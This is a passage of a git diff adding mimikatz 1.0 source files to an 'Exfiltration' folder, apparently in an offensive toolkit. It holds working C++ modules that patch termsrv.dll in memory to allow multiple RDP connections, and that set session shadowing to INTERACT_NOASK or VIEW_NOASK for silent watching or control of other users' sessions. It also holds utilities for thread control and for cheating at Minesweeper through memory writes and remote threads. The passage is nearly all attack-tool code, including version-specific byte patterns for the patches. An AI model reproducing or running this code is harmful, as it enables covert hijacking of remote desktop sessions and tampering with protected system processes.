exit(vector * arguments); + static bool cite(vector * arguments); + static bool reponse(vector * arguments); + static bool version(vector * arguments); + static bool sleep(vector * arguments); + static bool test(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp new file mode 100644 index 00000000..90929b2a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp @@ -0,0 +1,40 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_system.h" +#include "..\global.h" + +vector mod_mimikatz_system::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant")); + return monVector; +} + +bool mod_mimikatz_system::user(vector * arguments) +{ + wstring monUser; + + if(mod_system::getUserName(&monUser)) + (*outputStream) << L"Utilisateur : " << monUser << endl; + else + (*outputStream) << L"mod_system::getUserName : " << mod_system::getWinError(); + + return true; +} + +bool mod_mimikatz_system::computer(vector * arguments) +{ + wstring monComputer; + + if(mod_system::getComputerName(&monComputer)) + (*outputStream) << L"Ordinateur : " << monComputer << endl; + else + (*outputStream) << L"mod_system::getComputerName : " << mod_system::getWinError(); + + return true; +} + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h new file mode 100644 index 00000000..bd96a011 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h @@ -0,0 +1,17 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include + +class mod_mimikatz_system +{ +public: + static vector getMimiKatzCommands(); + static bool user(vector * arguments); + static bool computer(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp new file mode 100644 index 00000000..9a071b11 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp @@ -0,0 +1,291 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_terminalserver.h" +#include "..\global.h" + +// http://msdn.microsoft.com/library/aa383464.aspx +vector mod_mimikatz_terminalserver::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau distance pour dpasser 2 connexions simultanes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'tat de la prise de contrle des sessions RDP")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'tat de la prise de contrle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)")); + return monVector; +} + +bool mod_mimikatz_terminalserver::sessions(vector * arguments) +{ + vector mesSessions; + + if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL))) + { + (*outputStream) << L"SessId\tEtat\tstrEtat" << endl; + for(vector::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' << + setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' << + setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' << + maSession->sessionName << + endl; + } + } + else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; + return true; +} + + +bool mod_mimikatz_terminalserver::processes(vector * arguments) +{ + vector mesProcess; + + if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL))) + { + (*outputStream) << L"PID\tSessId\tUtilisateur" << endl; + for(vector::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' << + setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' << + monProcess->processName << + endl; + } + } + else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; + return true; +} + +bool mod_mimikatz_terminalserver::viewshadow(vector * arguments) +{ + DWORD session = 0; + PDWORD ptrSession = NULL; + + if(arguments->size() == 1) + { + wstringstream resultat(arguments->front()); + resultat >> session; + ptrSession = &session; + } + + listAndOrModifySession(ptrSession); + return true; +} + +bool mod_mimikatz_terminalserver::modifyshadow(vector * arguments) +{ + DWORD session = 0; + PDWORD ptrSession = NULL; + + wstring strState; + DWORD newState = 0; + + if(arguments->size() == 1) + { + strState.assign(arguments->front()); + } + else if(arguments->size() == 2) + { + wstringstream resultat(arguments->front()); + resultat >> session; + ptrSession = &session; + + strState.assign(arguments->back()); + } + + if(!strState.empty()) + { + bool strError = false; + if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0; + else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1; + else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2; + else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3; + else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4; + else strError = true; + + if(!strError) + listAndOrModifySession(ptrSession, &newState); + else + (*outputStream) << L"Erreur de parsing de l\'argument : " << strState << endl; + } + + return true; +} + +bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState) +{ + bool reussite = false; + + vector mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64); + + if(mod_patch::checkVersion(&mesOS)) + { +#ifdef _M_X64 + BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22}; + long offsetToWin = -4; +#elif defined _M_IX86 + BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15}; + long offsetToWin = -6; +#endif + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + wstring serviceName = L"TermService"; + wstring moduleName = L"termsrv.dll"; + + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId)) + { + PBYTE baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId)) + { + PBYTE addrPattern = NULL; + if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle)) + { + PBYTE addrWinstationListHead = NULL; + + bool resInterm = false; + +#ifdef _M_X64 + long offSet = 0; + resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast(&offSet), sizeof(long), processHandle); + addrWinstationListHead = addrPattern + offSet; +#elif defined _M_IX86 + resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast(&addrWinstationListHead), sizeof(PBYTE), processHandle); +#endif + if(resInterm) + { + PBYTE addrWinstation = addrWinstationListHead; + do + { + if(mod_memory::readMemory(addrWinstation, reinterpret_cast(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead) + { + KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION(); + if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast(maSession), sizeof(KIWI_TS_SESSION), processHandle)) + { + if((!id) || (maSession->id == *id)) + { + (*outputStream) << L"@Winstation : " << addrWinstation << endl; + + (*outputStream) << L"\t" << maSession->prev << L" <-> " << maSession->next << endl; + (*outputStream) << L"\tid : " << maSession->id << endl; + (*outputStream) << L"\tname : " << maSession->name << endl; + (*outputStream) << L"\tsname : " << maSession->sname << endl; + (*outputStream) << L"\ttype : " << maSession->type << endl; + (*outputStream) << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl; + + if(newState) + { + reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle); + (*outputStream) << L"\t => " << *newState << L" (" < * arguments) +{ + BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f}; + BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90}; + LONG OFFS_WIN5_TestLicence = 3; +#ifdef _M_X64 + BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75}; + BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb}; + BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; + BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; +#elif defined _M_IX86 + BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84}; + BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90}; + BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84}; + BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; +#endif + LONG OFFS_WIN6_Query__CDefPolicy = 0; + + BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0; + BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0; + LONG OFFS_PATC_Licence = 0; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence); + PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence); + OFFS_PATC_Licence = OFFS_WIN5_TestLicence; + } + else + { + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy); + PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy); + } + else + { + PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy); + PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy); + } + OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy; + } + + mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence); + return true; +} + +wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow) +{ + switch(shadow) + { + case 0: return(L"DISABLE"); + case 1: return(L"INTERACT (confirmation)"); + case 2: return(L"INTERACT_NOASK"); + case 3: return(L"VIEW (confirmation)"); + case 4: return(L"VIEW_NOASK"); + default: return(L"?"); + } +} + +wstring mod_mimikatz_terminalserver::stateToType(DWORD state) +{ + switch(state) + { + case WTSActive: return(L"Active"); + case WTSConnected: return(L"Connected"); + case WTSConnectQuery: return(L"ConnectQuery"); + case WTSShadow: return(L"Shadow"); + case WTSDisconnected: return(L"Disconnected"); + case WTSIdle: return(L"Idle"); + case WTSListen: return(L"Listen"); + case WTSReset: return(L"Reset"); + case WTSDown: return(L"Down"); + case WTSInit: return(L"Init"); + + default: return(L"?"); + } +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h new file mode 100644 index 00000000..5af9492e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h @@ -0,0 +1,55 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ts.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_patch.h" +#include + +class mod_mimikatz_terminalserver +{ +public: + static vector getMimiKatzCommands(); + + static bool sessions(vector * arguments); + static bool processes(vector * arguments); + static bool viewshadow(vector * arguments); + static bool modifyshadow(vector * arguments); + static bool multirdp(vector * arguments); + +private: + static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL); + static wstring shadowToType(DWORD shadow); + static wstring stateToType(DWORD state); + + enum KIWI_SHADOW_TYPE { + SHADOW_DISABLE = 0, + SHADOW_INTERACT = 1, + SHADOW_INTERACT_NOASK = 2, + SHADOW_VIEW = 3, + SHADOW_VIEW_NOASK = 4 + }; + + typedef struct _KIWI_TS_SESSION { + PBYTE next; + PBYTE prev; + PBYTE unk1; + PBYTE refLock; + PBYTE unk2; + BYTE unk3[8]; + DWORD id; + wchar_t name[32+1]; + BYTE unk4[7434]; + wchar_t sname[32+1]; + wchar_t type[32+1]; + BYTE unk5[1684]; + DWORD shadow; + } KIWI_TS_SESSION, * PKIWI_TS_SESSION; + +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp new file mode 100644 index 00000000..3a8edc00 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_thread.h" +#include "..\global.h" + +vector mod_mimikatz_thread::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrte un thread")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture un thread")); + return monVector; +} + +bool mod_mimikatz_thread::list(vector * arguments) +{ + vector * vectorThreads = new vector(); + + DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str()); + + if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId)) + { + (*outputStream) << L"PID\tTID\tprTh" << endl; + for(vector::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++) + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri << + endl; + } + else + (*outputStream) << L"mod_thread::getList ; " << mod_system::getWinError() << endl; + + delete vectorThreads; + return true; +} + +bool mod_mimikatz_thread::resume(vector * arguments) +{ + for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise "; + + if(mod_thread::resume(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::resume ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + +bool mod_mimikatz_thread::suspend(vector * arguments) +{ + for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension "; + + if(mod_thread::suspend(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::suspend ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + +bool mod_mimikatz_thread::stop(vector * arguments) +{ + for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarrt "; + + if(mod_thread::stop(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::stop ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + + +bool mod_mimikatz_thread::quit(vector * arguments) +{ + for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture "; + + if(mod_thread::quit(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::quit ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h new file mode 100644 index 00000000..fd072bf4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h @@ -0,0 +1,27 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_thread.h" +#include +#include + +class mod_mimikatz_thread +{ +private: +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + //static bool start(vector * arguments); + static bool suspend(vector * arguments); + static bool resume(vector * arguments); + static bool stop(vector * arguments); + //static bool query(vector * arguments); + + static bool quit(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp new file mode 100644 index 00000000..2f541f2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_winmine.h" +#include "..\global.h" + +char DISP_WINMINE[] = " 123456789*x*?F."; + +vector mod_mimikatz_winmine::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le dmineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomtre du dmineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomtre du dmineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Dmarre une nouvelle partie")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au dmineur")); + return monVector; +} + +bool mod_mimikatz_winmine::infos(vector * arguments) +{ + return infosOrCheat(arguments, false); +} + +bool mod_mimikatz_winmine::cheat(vector * arguments) +{ + return infosOrCheat(arguments, true); +} + +bool mod_mimikatz_winmine::infosOrCheat(vector * arguments, bool cheat) +{ + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + structMonDemineur monDemineur; + if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) + { + (*outputStream) << L"Mines : " << monDemineur.nbMines << endl << + L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl << + L"Champ : " << endl << endl; + + for (DWORD y = 1; y <= monDemineur.hauteur; y++) + { + if(!cheat) + (*outputStream) << L'\t'; + + for(DWORD x = 1; x <= monDemineur.longueur; x++) + { + BYTE laCase = monDemineur.tabMines[y][x]; + + if(!cheat) + (*outputStream) << L' ' << static_cast((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]); + else if(laCase & 0x80) + monDemineur.tabMines[y][x] = 0x4e; + } + if(!cheat) + (*outputStream) << endl; + } + + if(cheat) + { + if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) + (*outputStream) << L"Patch ;)" << endl; + + vector mesHWNDS; + if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine)) + { + for(vector::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++) + { + InvalidateRect(monHWND->monHandle, NULL, TRUE); + UpdateWindow(monHWND->monHandle); + } + } + } + } + CloseHandle(maStruct->hWinmine); + } + delete maStruct; + return true; +} + + +bool mod_mimikatz_winmine::pause(vector * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause)); + return true; +} + +bool mod_mimikatz_winmine::reprise(vector * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume)); + return true; +} + +bool mod_mimikatz_winmine::start(vector * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart)); + return true; +} + +bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset) +{ + bool reussite = false; + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast(reinterpret_cast(maStruct) + structOffset), NULL, 0, NULL)) + { + reussite = true; + WaitForSingleObject(hRemoteThread, INFINITE); + CloseHandle(hRemoteThread); + } + } + delete maStruct; + return reussite; +} + +bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) +{ + BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3}; + BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1}; + BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1}; + BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 0x05}; + + RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); + + wstring nomDemineur(L"winmine.exe"); + mod_process::KIWI_PROCESSENTRY32 monDemineur; + if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) + { + monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID; + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) + { + PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; + if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID)) + { + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine)) + if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000 + monHandleAndAddr->addrMonDemineur = reinterpret_cast(ptrTemp - sizeof(ULONG)); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrPause = reinterpret_cast(ptrTemp - 11); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrResume = reinterpret_cast(ptrTemp - 6); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrStart = reinterpret_cast(ptrTemp - 11); + } + } + } + + bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume; + + if(!reussite && monHandleAndAddr->hWinmine) + CloseHandle(monHandleAndAddr->hWinmine); + + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h new file mode 100644 index 00000000..38702280 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h @@ -0,0 +1,45 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_windows.h" +#include + +class mod_mimikatz_winmine +{ +private: + typedef struct structMonDemineur{ + DWORD32 nbMines; + DWORD32 longueur; + DWORD32 hauteur; + DWORD32 alignOffset; + BYTE tabMines[26][32]; + } structMonDemineur; + + typedef struct structHandleAndAddr{ + HANDLE hWinmine; + DWORD pidWinmine; + structMonDemineur * addrMonDemineur; + PTHREAD_START_ROUTINE addrPause; + PTHREAD_START_ROUTINE addrResume; + PTHREAD_START_ROUTINE addrStart; + } structHandleAndAddr; + + static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); + static bool startThreadAt(unsigned long structOffset); + static bool infosOrCheat(vector * arguments, bool cheat = false); + +public: + static vector getMimiKatzCommands(); + + static bool infos(vector * arguments); + static bool start(vector * arguments); + static bool pause(vector * arguments); + static bool reprise(vector * arguments); + static bool cheat(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp new file mode 100644 index 00000000..8baffa67 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp @@ -0,0 +1,240 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_crypto.h" + +bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore) +{ + map mesEmplacements; + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY)); + 